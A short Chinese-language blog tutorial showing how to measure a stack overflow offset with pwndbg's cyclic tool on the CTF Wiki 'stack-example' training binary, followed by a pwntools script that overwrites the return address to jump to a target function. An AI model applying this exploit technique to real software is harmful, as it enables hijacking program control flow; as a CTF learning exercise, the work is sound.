- Author:ZERO-A-ONE
- Date:2021-11-27
之前看到网上很多在编写栈溢出的时候计算栈溢出长度的文章,很多工具或者方法放到现在以及没有办法使用了,我经常使用的工具是pwndbg里面调用pwntools的cyclic工具
我们以CTF Wiki里面的示例程序stack-example为例子
首先用IDA找到溢出函数gets的下一个地址为0x804849f,打断点
b *0x804849f
然后使用cyclic工具生成测试字符串
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
然后运行将测试字符串输入其中,然后一直按n运行至崩溃处,发现GDB报错
Invalid address 0x61616167
观察EIP的值为
*EIP 0x61616167 ('gaaa')
然后使用工具即可计算出栈溢出的长度
pwndbg> cyclic -l 'gaaa'
24
然后可以编写EXP:
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x08048456
## 构造payload
payload = b'a' * 24 + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()